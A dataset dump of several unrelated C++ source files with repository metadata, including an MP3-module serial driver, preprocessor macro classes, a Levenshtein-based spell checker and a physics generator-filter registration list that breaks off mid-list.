// Removes both symbol tables.
template <class Arc>
void DeleteSymbols(MutableFst<Arc> *fst) {
fst->SetInputSymbols(nullptr);
fst->SetOutputSymbols(nullptr);
}
} // namespace internal
} // namespace fst
#endif // PYNINI_PYNINI_COMMON_H_
| [
"mjansche@google.com"
] | mjansche@google.com |
08be41e9e2c5811f2b2cea3e2d15ef9d7e84e4af | a7f7a55ea004437d4a6643892ada399e6de352ec | /preCompiling.cc | 208c4f1f3939f689d5db679a83368d488483db1f | [] | no_license | hugodro/Plzen-ObjTrad | 9d39080a7d79e3c7217d8c03a59b4ffe5886d807 | bfe97e98dd62403a7ffc155e47cf398156564aee | refs/heads/master | 2022-08-01T21:17:11.778978 | 2020-05-20T03:06:43 | 2020-05-20T03:06:43 | 265,435,349 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,808 | cc | /**************************************************
* File: preCompiling.cc.
* Desc: Implantations des classes qui supportent les directives de pre-compilation.
* Module: AkraLog : TradObjc.
* Rev: 16 juin 1997 : REV 0 : Hugo DesRosiers : Creation.
**************************************************/
#include <akra/portableDefs.h>
#include "identifier.h"
#include "preCompiling.h"
/**************************************************
* Implementation: CompiloMacro.
**************************************************/
CompiloMacro::CompiloMacro(char *aName)
{
next= NULL;
name= new Identifier(aName);
nbrArguments= 0;
arguments= NULL;
value= NULL;
isPrioritary= false;
}
CompiloMacro::~CompiloMacro(void)
{
MacroArgument *tmpArg;
delete name;
while (arguments != NULL) {
tmpArg= arguments->next;
delete arguments;
arguments= tmpArg;
}
delete value;
}
void CompiloMacro::setPriority(boolean aValue)
{
isPrioritary= aValue;
}
unsigned int CompiloMacro::argCount()
{
return nbrArguments;
}
MacroArgument *CompiloMacro::getArgument(char *aName)
{
MacroArgument *tmpArg= arguments;
while (tmpArg != NULL) {
if (tmpArg->getName()->isEqual(aName)) break;
tmpArg= tmpArg->next;
}
return tmpArg;
}
void CompiloMacro::setValue(MacroValue *aValue)
{
value= aValue;
}
Identifier *CompiloMacro::getName(void)
{
return name;
}
/**************************************************
* Implementation: MacroValue.
**************************************************/
MacroValue::MacroValue(void)
{
segments= tailSegment= NULL;
kind= kConstant;
}
void MacroValue::addSegment(MacroSegment *aSegment)
{
if (segments == NULL) {
segments= aSegment;
}
else {
tailSegment->next= aSegment;
}
tailSegment= aSegment;
}
/**************************************************
* Implementation: MacroArgument.
**************************************************/
MacroArgument::MacroArgument(char *aName)
{
name= new Identifier(aName);
}
Identifier *MacroArgument::getName(void)
{
return name;
}
/**************************************************
* Implementation: MacroSegment.
**************************************************/
MacroSegment::MacroSegment(void)
{
next= NULL;
}
/**************************************************
* Implementation: SegmentVariable.
**************************************************/
SegmentVariable::SegmentVariable(MacroArgument *aValue)
: MacroSegment()
{
value= aValue;
}
/**************************************************
* Implementation: SegmentMacro.
**************************************************/
SegmentMacro::SegmentMacro(CompiloMacro *aValue)
: MacroSegment()
{
value= aValue;
}
/**************************************************
* Implementation: SegmentString.
**************************************************/
SegmentString::SegmentString(char *aValue, unsigned int aLength)
{
length= aLength;
if (length > 0) {
value= new char[aLength];
memcpy(value, aValue, length);
}
else value= NULL;
}
/**************************************************
* Implementation: ConditionalSegment.
**************************************************/
ConditionalSegment::ConditionalSegment(ConditionalSegment::Kind aKind)
{
kind= aKind;
symbolExists= false;
}
boolean ConditionalSegment::testResult(void)
{
if (kind == tIfdef) return symbolExists;
else if (kind == tIfndef) return !symbolExists;
else return symbolExists; // ATTN: To correct.
}
ConditionalSegment::Kind ConditionalSegment::getKind(void)
{
return kind;
}
void ConditionalSegment::setKind(ConditionalSegment::Kind aKind)
{
if (aKind == tElse) {
symbolExists= !symbolExists;
}
kind= aKind;
}
| [
""
] | |
d5f132c9e7a1291c8c52f9a43bcdefba616e6fca | 01cf481d29f03c9b7bdec92fd5abbc44cd5641ef | /firmware/lib/dfminimp3/DFMiniMp3.cpp | 2fb6d0ca8dbd7537c6a038ca1d6ca9f88dd6c7dc | [] | no_license | KoljaWindeler/TonESP | 9c8d2fa1f33c8b7738749a5e8f768c1595cf2bd1 | 2c75feb73a3a3d5306e4ffa008e9b4e454ef23ff | refs/heads/master | 2020-04-20T17:11:18.721137 | 2019-03-03T21:08:04 | 2019-03-03T21:08:04 | 168,981,579 | 6 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 6,557 | cpp | #include "DFMiniMp3.h"
DFMiniMp3::DFMiniMp3(){
_lastSendSpace = c_msSendSpace;
_isOnline = true;
mySerial = new SoftwareSerial(12, 13); // RX, TX, gpio 12 == D6, 13 == D7
}
void DFMiniMp3::begin(){
mySerial->begin(9600);
mySerial->setTimeout(10000);
_lastSend = millis();
}
uint16_t DFMiniMp3::loop()
{
while (mySerial->available() >= DfMp3_Packet_SIZE)
{
return listenForReply(0x00);
}
return 0;
}
// the track as enumerated across all folders
void DFMiniMp3::playGlobalTrack(uint16_t track)
{
sendPacket(0x03, track);
}
// sd:/mp3/####track name
void DFMiniMp3::playMp3FolderTrack(uint16_t track)
{
sendPacket(0x12, track);
}
// sd:/###/###track name
void DFMiniMp3::playFolderTrack(uint8_t folder, uint8_t track)
{
uint16_t arg = (folder << 8) | track;
sendPacket(0x0f, arg);
}
// sd:/##/####track name
// track number must be four digits, zero padded
void DFMiniMp3::playFolderTrack16(uint8_t folder, uint16_t track)
{
uint16_t arg = (((uint16_t)folder) << 12) | track;
sendPacket(0x14, arg);
}
void DFMiniMp3::playRandomTrackFromAll()
{
sendPacket(0x18);
}
void DFMiniMp3::nextTrack()
{
sendPacket(0x01);
}
void DFMiniMp3::prevTrack()
{
sendPacket(0x02);
}
uint16_t DFMiniMp3::getCurrentTrack()
{
sendPacket(0x4c);
return listenForReply(0x4c);
}
// 0- 30
void DFMiniMp3::setVolume(uint8_t volume)
{
sendPacket(0x06, volume);
}
uint8_t DFMiniMp3::getVolume()
{
sendPacket(0x43);
return listenForReply(0x43);
}
void DFMiniMp3::increaseVolume()
{
sendPacket(0x04);
}
void DFMiniMp3::decreaseVolume()
{
sendPacket(0x05);
}
// useless, removed
// 0-31
/*
void setVolume(bool mute, uint8_t volume)
{
uint16_t arg = (!mute << 8) | volume;
sendPacket(0x10, arg);
}
*/
void DFMiniMp3::loopGlobalTrack(uint16_t globalTrack)
{
sendPacket(0x08, globalTrack);
}
DfMp3_PlaybackMode DFMiniMp3::getPlaybackMode()
{
sendPacket(0x45);
return (DfMp3_PlaybackMode)listenForReply(0x45);
}
void DFMiniMp3::setRepeatPlay(bool repeat)
{
sendPacket(0x11, !!repeat);
}
void DFMiniMp3::setEq(DfMp3_Eq eq)
{
sendPacket(0x07, eq);
}
DfMp3_Eq DFMiniMp3::getEq()
{
sendPacket(0x44);
return (DfMp3_Eq)listenForReply(0x44);
}
void DFMiniMp3::setPlaybackSource(DfMp3_PlaySource source)
{
sendPacket(0x09, source, 200);
}
void DFMiniMp3::sleep()
{
sendPacket(0x0a);
}
void DFMiniMp3::reset()
{
sendPacket(0x0c, 0, 600);
_isOnline = false;
}
void DFMiniMp3::start()
{
sendPacket(0x0d);
}
void DFMiniMp3::pause()
{
sendPacket(0x0e);
}
void DFMiniMp3::stop()
{
sendPacket(0x16);
}
uint16_t DFMiniMp3::getStatus()
{
sendPacket(0x42);
return listenForReply(0x42);
}
uint16_t DFMiniMp3::getFolderTrackCount(uint16_t folder)
{
sendPacket(0x4e, folder);
return listenForReply(0x4e);
}
uint16_t DFMiniMp3::getTotalTrackCount()
{
sendPacket(0x48);
return listenForReply(0x48);
}
uint16_t DFMiniMp3::getTotalFolderCount()
{
sendPacket(0x4F);
return listenForReply(0x4F);
}
// sd:/advert/####track name
void DFMiniMp3::playAdvertisement(uint16_t track)
{
sendPacket(0x13, track);
}
void DFMiniMp3::stopAdvertisement()
{
sendPacket(0x15);
}
void DFMiniMp3::sendPacket(uint8_t command, uint16_t arg, uint16_t sendSpaceNeeded)
{
uint8_t out[DfMp3_Packet_SIZE] = { 0x7E, 0xFF, 06, command, 00, (uint8_t)(arg >> 8), (uint8_t)(arg & 0x00ff), 00, 00, 0xEF };
setChecksum(out);
// wait for spacing since last send
while (((millis() - _lastSend) < _lastSendSpace) || !_isOnline)
{
// check for event messages from the device while
// we wait
loop();
delay(1);
}
_lastSendSpace = sendSpaceNeeded;
mySerial->write(out, DfMp3_Packet_SIZE);
_lastSend = millis();
}
bool DFMiniMp3::readPacket(uint8_t* command, uint16_t* argument)
{
uint8_t in[DfMp3_Packet_SIZE] = { 0 };
uint8_t read;
// init our out args always
*command = 0;
*argument = 0;
// try to sync our reads to the packet start
do
{
// we use readBytes as it gives us the standard timeout
read = mySerial->readBytes(&(in[DfMp3_Packet_StartCode]), 1);
if (read != 1)
{
// nothing read
return false;
}
} while (in[DfMp3_Packet_StartCode] != 0x7e);
read += mySerial->readBytes(in + 1, DfMp3_Packet_SIZE - 1);
if (read < DfMp3_Packet_SIZE)
{
// not enough bytes, corrupted packet
return false;
}
if (in[DfMp3_Packet_Version] != 0xFF ||
in[DfMp3_Packet_Length] != 0x06 ||
in[DfMp3_Packet_EndCode] != 0xef )
{
// invalid version or corrupted packet
return false;
}
if (!validateChecksum(in))
{
// checksum failed, corrupted paket
return false;
}
*command = in[DfMp3_Packet_Command];
*argument = ((in[DfMp3_Packet_HiByteArgument] << 8) | in[DfMp3_Packet_LowByteArgument]);
return true;
}
uint16_t DFMiniMp3::listenForReply(uint8_t command)
{
uint8_t replyCommand = 0;
uint16_t replyArg = 0;
do
{
if (readPacket(&replyCommand, &replyArg))
{
if (command != 0 && command == replyCommand)
{
return replyArg;
}
else
{
switch (replyCommand)
{
case 0x3d:
return DFMP3_PLAY_FINISHED;
break;
case 0x3F:
if (replyArg & 0x02)
{
_isOnline = true;
return DFMP3_CARD_ONLINE;
}
break;
case 0x3A:
if (replyArg & 0x02)
{
return DFMP3_CARD_INSERTED;
}
break;
case 0x3B:
if (replyArg & 0x02)
{
return DFMP3_CARD_REMOVED;
}
break;
case 0x40:
return DFMP3_ERROR_GENERAL;
break;
default:
// unknown/unsupported command reply
break;
}
}
}
else
{
if (command != 0)
{
return DFMP3_ERROR_GENERAL;
if (mySerial->available() == 0)
{
return 0;
}
}
}
} while (command != 0);
return 0;
}
uint16_t DFMiniMp3::calcChecksum(uint8_t* packet)
{
uint16_t sum = 0;
for (int i = DfMp3_Packet_Version; i < DfMp3_Packet_HiByteCheckSum; i++)
{
sum += packet[i];
}
return -sum;
}
void DFMiniMp3::setChecksum(uint8_t* out)
{
uint16_t sum = calcChecksum(out);
out[DfMp3_Packet_HiByteCheckSum] = (sum >> 8);
out[DfMp3_Packet_LowByteCheckSum] = (sum & 0xff);
}
bool DFMiniMp3::validateChecksum(uint8_t* in)
{
uint16_t sum = calcChecksum(in);
return (sum == ((in[DfMp3_Packet_HiByteCheckSum] << 8) | in[DfMp3_Packet_LowByteCheckSum]));
}
| [
"Kolja.Windeler@gmail.com"
] | Kolja.Windeler@gmail.com |
c02df9337563c2c0edc849cc53564fcc3a248281 | 9b553bbfc8b0807d7f860964d6044d6ccf6d1342 | /rel/d/a/obj/d_a_obj_lv4sand/unknown_translation_unit_bss.cpp | 46779b36c9a8f4939f583eacf90131c23e0481d5 | [] | no_license | DedoGamingONE/tp | 5e2e668f7120b154cf6ef6b002c2b4b51ae07ee5 | 5020395dfd34d4dc846e3ea228f6271bfca1c72a | refs/heads/master | 2023-09-03T06:55:25.773029 | 2021-10-24T21:35:00 | 2021-10-24T21:35:00 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 549 | cpp | //
// Generated By: dol2asm
// Translation Unit: unknown_translation_unit_bss
//
#include "rel/d/a/obj/d_a_obj_lv4sand/unknown_translation_unit_bss.h"
#include "dol2asm.h"
#include "dolphin/types.h"
//
// Forward References:
//
extern "C" extern u8 data_80C6A508[4];
//
// External References:
//
//
// Declarations:
//
/* ############################################################################################## */
/* 80C6A508-80C6A50C 000000 0004+00 0/0 1/1 0/0 .bss None */
extern u8 data_80C6A508[4];
u8 data_80C6A508[4];
| [
""
] | |
90cc4b11ccad6119a722e996f7bc8fe011df2af9 | 5ed573724846fb350964cc3950cb9e93efbf6c22 | /Spell Checker/SpellChecker.cpp~ | b9cdfeaababc6c67d9627a1d9798a3eb1e68d06f | [] | no_license | zouwen198317/MyProjects | 571729c431ef819b9ce4c2bf7603beadc035e222 | 9e96269f5c45208f08e7f0224f9980be92d291a0 | refs/heads/master | 2021-01-21T12:06:39.892506 | 2015-01-24T21:22:29 | 2015-01-24T21:22:29 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 5,275 | /* Nume: Dobrii Ionut-Alexandru
* Grupa si seria: 324CA */
#include <iostream>
#include <algorithm>
#include <fstream>
#include <iterator>
#include "global.h"
/* functie pentru initializare a variabilelor globale */
void init_global() {
int i, j;
for (i = 0; i < 18; i++)
dist[i][0] = i;
for (i = 0; i < 18; i++)
dist[0][i] = i;
for (i = 0; i < 65; i++)
for (j = 0; j < 65; j++)
solution[i][j] = new Optim();
}
/* functie care citeste si memoreaza datele din fisier */
void read_from_file() {
string text, str;
size_t found;
ifstream infile;
int frecv;
infile.open("dict.txt");
while (infile.good())
{
getline(infile,text);
found = text.find(" ");
str = text.substr(0,found);
frecv = atoi(text.substr(found+1).c_str());
words.push_back(new Dictionary(str,frecv));
}
infile.close();
}
/* functie care calculeaza abaterea minima dintre 2 cuvinte.
* In acelasi timp se caluleaza distanta minima si pentru
* toate sufixele unui cuvant */
void get_distance( string s, string t, int frecventa, int col ) {
int i, j, n, m;
m = s.length();
n = t.length();
/* se retin in matricea 'dist' toate distantele dintre toate
* prefixele primului string si toate prefixele celui de-al doilea */
for (i = 1; i < m+1; i++ )
{
if (i > 13) break;
for (j = 1; j < n+1; j++)
if (s[i-1] == t[j-1])
dist[i][j] = dist[i-1][j-1];
else
dist[i][j] = min( min( dist[i-1][j]+1,dist[i][j-1]+1 ),dist[i-1][j-1]+1 );
/* se retin in matricea 'solution' toate sufixele optime primului
* cuvant in cazul in care acestea au abaterile mai mici decat cele
* calculate in pasii anteriori; in caz de abateri egale se compara
* in functie de frecvente */
if (dist[i][n] < solution[i-1+col][col]->abatere ||
((dist[i][n]) == solution[i-1+col][col]->abatere
&& solution[i-1+col][col]->frecventa < frecventa))
{
solution[i-1+col][col] = new Optim(t,frecventa,dist[i][n]);
}
}
}
/* functie care genereaza cu ajutorul algoritmului lui Levenstein
* toate string-urile corecte porinind de la substring-urile sirului
* initial. Toate aceste solutii se memoreaza in matricea 'solution' */
void gen_all_solutions( string sir, int lungimeSir ) {
vector<Dictionary *>::iterator it;
string s;
int i;
/* se parccurge sirul citit */
i = 0;
while (i < lungimeSir)
{
/* se parcurge dictioanrul de cuvinte */
s = sir.substr(i,lungimeSir);
it = words.begin();
while (it != words.end())
{
/* se genereaza solutii valide pornind de
* la toate subisiruruile sirului initial */
get_distance(s, (*it)->cuvant, (*it)->frecventa, i );
it++;
}
i++;
}
}
/* functie de combinare a tuturor solutiilor si determinare a
* a sirului optim pentru sirul citit de la tastatura */
string test_all_solutions( int lungimeSir ) {
string temporaryString;
int i, j;
Optim *temp;
/* se parcurge matricea solutiilor */
i = 0;
while (i < lungimeSir)
{
/* se combina toate solutiile de pe fiecare linie.
* re retine primul cuvant de pe fiecare linie */
optim[i] = solution[i][0];
j = 0;
while (j < i)
{
/* se combina toate solutiile de pe fiecare linie
* inserandu-se spatii intre acestea */
temporaryString = optim[j]->cuvant + " " + solution[i][j+1]->cuvant;
/* se creeaza o noua solutie care contine sirul creat anterior,
* cu suma dintre frecventele abaterilor optime pana la pasul 'j'
* cu */
temp = new Optim(temporaryString, optim[j]->addFrecv(solution[i][j+1]),
optim[j]->addAbat(solution[i][j+1]), optim[j]->nrCuvinte+1);
/* in 'global.h' am suprascris operatorul '<' astfel incat sa compare
* doua instante ale clasei 'Optim' dupa abatere. In caz de abatere
* egala se compara dupa numarul de cuvinte. Daca si in acest caz exista
* mai multe posibilitati se compara dupa frecventa. In ultiul rand
* se compara astfel incat sirul obtinut sa fie minim lexicografic.
* Daca toate una din conditiile de mai sus este indeplinita se
* actualizeaza solitia optima */
if (*temp < *optim[i])
optim[i] = temp;
j++;
}
i++;
}
/* se returneaza ultima soltuie gasita,
* intrucat aceasta este cea optima */
return optim[lungimeSir-1]->cuvant;
}
int main()
{
int lungimeSir;
/* se citeste sirul de corecatat de la tastatura */
string decorectat, correct;;
getline(cin, decorectat);
/* se elimina spatiile albe din string-ul citit */
decorectat.erase(remove(decorectat.begin(), decorectat.end(), ' '), decorectat.end());
lungimeSir = decorectat.length();
/* se initializeaza variabilele globale */
init_global();
/*se memoreaza intr-un vector toate cuvintele
* si frecventele citite din fisier */
read_from_file();
/* se genereaza toate combinatiile de solutii optime pornind
* de la sirul citit de la tastaura dupa eliminarea spatiilor albe */
gen_all_solutions(decorectat,lungimeSir);
/* se testeaza solutiile generate, la final ramanand solutia optima */
correct = test_all_solutions(lungimeSir);
cout << correct << endl;
return 0;
}
| [
"alex@gigiel.(none)"
] | alex@gigiel.(none) | |
3bf2f83de910d4f25acf3ef479092f7c24859189 | b22588340d7925b614a735bbbde1b351ad657ffc | /athena/Generators/GeneratorFilters/src/components/GeneratorFilters_entries.cxx | 512edbe24332a22417a56101bf1453c6c3935576 | [] | no_license | rushioda/PIXELVALID_athena | 90befe12042c1249cbb3655dde1428bb9b9a42ce | 22df23187ef85e9c3120122c8375ea0e7d8ea440 | refs/heads/master | 2020-12-14T22:01:15.365949 | 2020-01-19T03:59:35 | 2020-01-19T03:59:35 | 234,836,993 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 11,299 | cxx | #include "GaudiKernel/DeclareFactoryEntries.h"
#include "GeneratorFilters/ElectronFilter.h"
#include "GeneratorFilters/LeptonFilter.h"
#include "GeneratorFilters/ZtoLeptonFilter.h"
#include "GeneratorFilters/MultiLeptonFilter.h"
#include "GeneratorFilters/MultiMuonFilter.h"
#include "GeneratorFilters/BSignalFilter.h"
#include "GeneratorFilters/ATauFilter.h"
#include "GeneratorFilters/JetFilter.h"
#include "GeneratorFilters/JetForwardFilter.h"
#include "GeneratorFilters/GapJetFilter.h"
#include "GeneratorFilters/ParticleFilter.h"
#include "GeneratorFilters/PhotonFilter.h"
#include "GeneratorFilters/MissingEtFilter.h"
#include "GeneratorFilters/TauFilter.h"
#include "GeneratorFilters/TTbarFilter.h"
#include "GeneratorFilters/TTbarPhotonWhizardHwgFilter.h"
#include "GeneratorFilters/TTbarWToLeptonFilter.h"
#include "GeneratorFilters/TTbarMassFilter.h"
#include "GeneratorFilters/TruthJetFilter.h"
#include "GeneratorFilters/SoftLeptonFilter.h"
#include "GeneratorFilters/ParentChildFilter.h"
#include "GeneratorFilters/ParentTwoChildrenFilter.h"
#include "GeneratorFilters/ParentChildwStatusFilter.h"
#include "GeneratorFilters/SoftLeptonInJetFilter.h"
#include "GeneratorFilters/VBFForwardJetsFilter.h"
#include "GeneratorFilters/METFilter.h"
#include "GeneratorFilters/TTbarPlusJetsFilter.h"
#include "GeneratorFilters/WMultiLeptonFilter.h"
#include "GeneratorFilters/PtmissAndOrLeptonFilter.h"
#include "GeneratorFilters/MuonFilter.h"
#include "GeneratorFilters/WZtoLeptonFilter.h"
#include "GeneratorFilters/AsymJetFilter.h"
#include "GeneratorFilters/MultiObjectsFilter.h"
#include "GeneratorFilters/MassRangeFilter.h"
#include "GeneratorFilters/DecayLengthFilter.h"
#include "GeneratorFilters/MultiElecMuTauFilter.h"
#include "GeneratorFilters/WeightedBDtoElectronFilter.h"
#include "GeneratorFilters/JetIntervalFilter.h"
#include "GeneratorFilters/XXvvGGFilter.h"
#include "GeneratorFilters/TruthJetWeightFilter.h"
#include "GeneratorFilters/MultiElectronFilter.h"
#include "GeneratorFilters/DiPhotonFilter.h"
#include "GeneratorFilters/ChargedTracksFilter.h"
#include "GeneratorFilters/DecayModeFilter.h"
#include "GeneratorFilters/DiLeptonMassFilter.h"
#include "GeneratorFilters/DirectPhotonFilter.h"
#include "GeneratorFilters/HeavyFlavorHadronFilter.h"
#include "GeneratorFilters/DstD0K3piFilter.h"
#include "GeneratorFilters/FourLeptonMassFilter.h"
#include "GeneratorFilters/FourLeptonInvMassFilter.h"
#include "GeneratorFilters/HtoVVFilter.h"
#include "GeneratorFilters/QCDTruthJetFilter.h"
#include "GeneratorFilters/QCDTruthMultiJetFilter.h"
#include "GeneratorFilters/VBFHbbEtaSortingFilter.h"
#include "GeneratorFilters/TopCKMFilter.h"
#include "GeneratorFilters/ForwardProtonFilter.h"
#include "GeneratorFilters/BSubstruct.h"
#include "GeneratorFilters/TopCKMKinFilter.h"
#include "GeneratorFilters/MultiHiggsFilter.h"
#include "GeneratorFilters/XtoVVDecayFilter.h"
#include "GeneratorFilters/XtoVVDecayFilterExtended.h"
#include "GeneratorFilters/VHtoVVFilter.h"
#include "GeneratorFilters/TtHtoVVDecayFilter.h"
#include "GeneratorFilters/SusySubprocessFinder.h"
#include "GeneratorFilters/LeadingPhotonFilter.h"
#include "GeneratorFilters/VHtoVVDiLepFilter.h"
#include "GeneratorFilters/VBFMjjIntervalFilter.h"
#include "GeneratorFilters/JetFilterWithTruthPhoton.h"
#include "GeneratorFilters/Boosted2DijetFilter.h"
#include "GeneratorFilters/DiBjetFilter.h"
#include "GeneratorFilters/LeadingDiBjetFilter.h"
#include "GeneratorFilters/HiggsFilter.h"
#include "GeneratorFilters/TTbarBoostCatFilter.h"
#include "GeneratorFilters/MultiParticleFilter.h"
#include "GeneratorFilters/LeptonPairFilter.h"
#include "GeneratorFilters/DecayPositionFilter.h"
#include "GeneratorFilters/HTFilter.h"
#include "GeneratorFilters/TTbarPlusHeavyFlavorFilter.h"
#include "GeneratorFilters/DuplicateEventFilter.h"
#include "GeneratorFilters/BoostedHadTopAndTopPair.h"
#include "GeneratorFilters/DecaysFinalStateFilter.h"
#include "GeneratorFilters/HTFilter.h"
#include "GeneratorFilters/MissingEtFilter.h"
#include "GeneratorFilters/TrimuMassRangeFilter.h"
DECLARE_ALGORITHM_FACTORY(ElectronFilter)
DECLARE_ALGORITHM_FACTORY(LeptonFilter)
DECLARE_ALGORITHM_FACTORY(ZtoLeptonFilter)
DECLARE_ALGORITHM_FACTORY(MultiLeptonFilter)
DECLARE_ALGORITHM_FACTORY(MultiMuonFilter)
DECLARE_ALGORITHM_FACTORY(BSignalFilter)
DECLARE_ALGORITHM_FACTORY(ATauFilter)
DECLARE_ALGORITHM_FACTORY(JetFilter)
DECLARE_ALGORITHM_FACTORY(JetForwardFilter)
DECLARE_ALGORITHM_FACTORY(GapJetFilter)
DECLARE_ALGORITHM_FACTORY(ParticleFilter)
DECLARE_ALGORITHM_FACTORY(PhotonFilter)
DECLARE_ALGORITHM_FACTORY(MissingEtFilter)
DECLARE_ALGORITHM_FACTORY(TauFilter)
DECLARE_ALGORITHM_FACTORY(TTbarFilter)
DECLARE_ALGORITHM_FACTORY(TTbarPhotonWhizardHwgFilter)
DECLARE_ALGORITHM_FACTORY(TTbarWToLeptonFilter)
DECLARE_ALGORITHM_FACTORY(TTbarMassFilter)
DECLARE_ALGORITHM_FACTORY(TruthJetFilter)
DECLARE_ALGORITHM_FACTORY(SoftLeptonFilter)
DECLARE_ALGORITHM_FACTORY(ParentChildFilter)
DECLARE_ALGORITHM_FACTORY(ParentTwoChildrenFilter)
DECLARE_ALGORITHM_FACTORY(ParentChildwStatusFilter)
DECLARE_ALGORITHM_FACTORY(SoftLeptonInJetFilter)
DECLARE_ALGORITHM_FACTORY(VBFForwardJetsFilter)
DECLARE_ALGORITHM_FACTORY(METFilter)
DECLARE_ALGORITHM_FACTORY(TTbarPlusJetsFilter)
DECLARE_ALGORITHM_FACTORY(WMultiLeptonFilter)
DECLARE_ALGORITHM_FACTORY(PtmissAndOrLeptonFilter)
DECLARE_ALGORITHM_FACTORY(MuonFilter)
DECLARE_ALGORITHM_FACTORY(WZtoLeptonFilter)
DECLARE_ALGORITHM_FACTORY(AsymJetFilter)
DECLARE_ALGORITHM_FACTORY(MultiObjectsFilter)
DECLARE_ALGORITHM_FACTORY(MassRangeFilter)
DECLARE_ALGORITHM_FACTORY(DecayLengthFilter)
DECLARE_ALGORITHM_FACTORY(MultiElecMuTauFilter)
DECLARE_ALGORITHM_FACTORY(WeightedBDtoElectronFilter)
DECLARE_ALGORITHM_FACTORY(JetIntervalFilter)
DECLARE_ALGORITHM_FACTORY(XXvvGGFilter)
DECLARE_ALGORITHM_FACTORY(TruthJetWeightFilter)
DECLARE_ALGORITHM_FACTORY(MultiElectronFilter)
DECLARE_ALGORITHM_FACTORY(DiPhotonFilter)
DECLARE_ALGORITHM_FACTORY(ChargedTracksFilter)
DECLARE_ALGORITHM_FACTORY(DecayModeFilter)
DECLARE_ALGORITHM_FACTORY(DiLeptonMassFilter)
DECLARE_ALGORITHM_FACTORY(DirectPhotonFilter)
DECLARE_ALGORITHM_FACTORY(HeavyFlavorHadronFilter)
DECLARE_ALGORITHM_FACTORY(DstD0K3piFilter)
DECLARE_ALGORITHM_FACTORY(FourLeptonMassFilter)
DECLARE_ALGORITHM_FACTORY(FourLeptonInvMassFilter)
DECLARE_ALGORITHM_FACTORY(HtoVVFilter)
DECLARE_ALGORITHM_FACTORY(QCDTruthJetFilter)
DECLARE_ALGORITHM_FACTORY(QCDTruthMultiJetFilter)
DECLARE_ALGORITHM_FACTORY(VBFHbbEtaSortingFilter)
DECLARE_ALGORITHM_FACTORY(TopCKMFilter)
DECLARE_ALGORITHM_FACTORY(ForwardProtonFilter)
DECLARE_ALGORITHM_FACTORY(BSubstruct)
DECLARE_ALGORITHM_FACTORY(TopCKMKinFilter)
DECLARE_ALGORITHM_FACTORY(MultiHiggsFilter)
DECLARE_ALGORITHM_FACTORY(XtoVVDecayFilter)
DECLARE_ALGORITHM_FACTORY(XtoVVDecayFilterExtended)
DECLARE_ALGORITHM_FACTORY(VHtoVVFilter)
DECLARE_ALGORITHM_FACTORY(TtHtoVVDecayFilter)
DECLARE_ALGORITHM_FACTORY(SusySubprocessFinder)
DECLARE_ALGORITHM_FACTORY(LeadingPhotonFilter)
DECLARE_ALGORITHM_FACTORY(VHtoVVDiLepFilter)
DECLARE_ALGORITHM_FACTORY(VBFMjjIntervalFilter)
DECLARE_ALGORITHM_FACTORY(JetFilterWithTruthPhoton)
DECLARE_ALGORITHM_FACTORY(Boosted2DijetFilter)
DECLARE_ALGORITHM_FACTORY(DiBjetFilter)
DECLARE_ALGORITHM_FACTORY(LeadingDiBjetFilter)
DECLARE_ALGORITHM_FACTORY(HiggsFilter)
DECLARE_ALGORITHM_FACTORY(TTbarBoostCatFilter)
DECLARE_ALGORITHM_FACTORY(MultiParticleFilter)
DECLARE_ALGORITHM_FACTORY(LeptonPairFilter)
DECLARE_ALGORITHM_FACTORY(DecayPositionFilter)
DECLARE_ALGORITHM_FACTORY(HTFilter)
DECLARE_ALGORITHM_FACTORY(TTbarPlusHeavyFlavorFilter)
DECLARE_ALGORITHM_FACTORY(DuplicateEventFilter)
DECLARE_ALGORITHM_FACTORY(BoostedHadTopAndTopPair)
DECLARE_ALGORITHM_FACTORY(DecaysFinalStateFilter)
DECLARE_ALGORITHM_FACTORY(HTFilter)
DECLARE_ALGORITHM_FACTORY(MissingEtFilter)
DECLARE_ALGORITHM_FACTORY(TrimuMassRangeFilter)
DECLARE_FACTORY_ENTRIES(GeneratorFilters) {
DECLARE_ALGORITHM(LeptonFilter)
DECLARE_ALGORITHM(ZtoLeptonFilter)
DECLARE_ALGORITHM(BSignalFilter)
DECLARE_ALGORITHM(MultiLeptonFilter)
DECLARE_ALGORITHM(MultiMuonFilter)
DECLARE_ALGORITHM(ATauFilter)
DECLARE_ALGORITHM(JetFilter)
DECLARE_ALGORITHM(JetForwardFilter)
DECLARE_ALGORITHM(GapJetFilter)
DECLARE_ALGORITHM(ParticleFilter)
DECLARE_ALGORITHM(PhotonFilter)
DECLARE_ALGORITHM(MissingEtFilter)
DECLARE_ALGORITHM(TauFilter)
DECLARE_ALGORITHM(TTbarFilter)
DECLARE_ALGORITHM(TTbarPhotonWhizardHwgFilter)
DECLARE_ALGORITHM(TTbarWToLeptonFilter)
DECLARE_ALGORITHM(TTbarMassFilter)
DECLARE_ALGORITHM(TruthJetFilter)
DECLARE_ALGORITHM(SoftLeptonFilter)
DECLARE_ALGORITHM(ParentChildFilter)
DECLARE_ALGORITHM(ParentTwoChildrenFilter)
DECLARE_ALGORITHM(ParentChildwStatusFilter)
DECLARE_ALGORITHM(SoftLeptonInJetFilter)
DECLARE_ALGORITHM(VBFForwardJetsFilter)
DECLARE_ALGORITHM(METFilter)
DECLARE_ALGORITHM(TTbarPlusJetsFilter)
DECLARE_ALGORITHM(WMultiLeptonFilter)
DECLARE_ALGORITHM(PtmissAndOrLeptonFilter)
DECLARE_ALGORITHM(MuonFilter)
DECLARE_ALGORITHM(WZtoLeptonFilter)
DECLARE_ALGORITHM(AsymJetFilter)
DECLARE_ALGORITHM(MultiObjectsFilter)
DECLARE_ALGORITHM(MassRangeFilter)
DECLARE_ALGORITHM(DecayLengthFilter)
DECLARE_ALGORITHM(MultiElecMuTauFilter)
DECLARE_ALGORITHM(WeightedBDtoElectronFilter)
DECLARE_ALGORITHM(JetIntervalFilter)
DECLARE_ALGORITHM(XXvvGGFilter)
DECLARE_ALGORITHM(TruthJetWeightFilter)
DECLARE_ALGORITHM(MultiElectronFilter)
DECLARE_ALGORITHM(DiPhotonFilter)
DECLARE_ALGORITHM(ChargedTracksFilter)
DECLARE_ALGORITHM(DecayModeFilter)
DECLARE_ALGORITHM(DiLeptonMassFilter)
DECLARE_ALGORITHM(DirectPhotonFilter)
